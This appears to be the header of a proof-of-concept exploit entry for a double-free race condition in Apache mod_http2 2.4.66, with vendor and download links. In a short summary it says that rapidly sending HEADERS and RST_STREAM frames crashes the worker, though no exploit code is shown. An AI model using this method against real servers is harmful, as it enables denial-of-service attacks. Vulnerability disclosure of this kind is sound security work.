# Vendor Homepage: https://httpd.apache.org/
# Software Link: https://archive.apache.org/dist/httpd/httpd-2.4.66.tar.gz

CVE-2026-23918 - Apache mod_http2 Double-Free PoC
Quick summary: This bug (CWE-415) hits Apache 2.4.66. It's a race condition
in the stream cleanup path. If you spam HEADERS and RST_STREAM fast enough,
you can trigger a double-free and crash the worker.
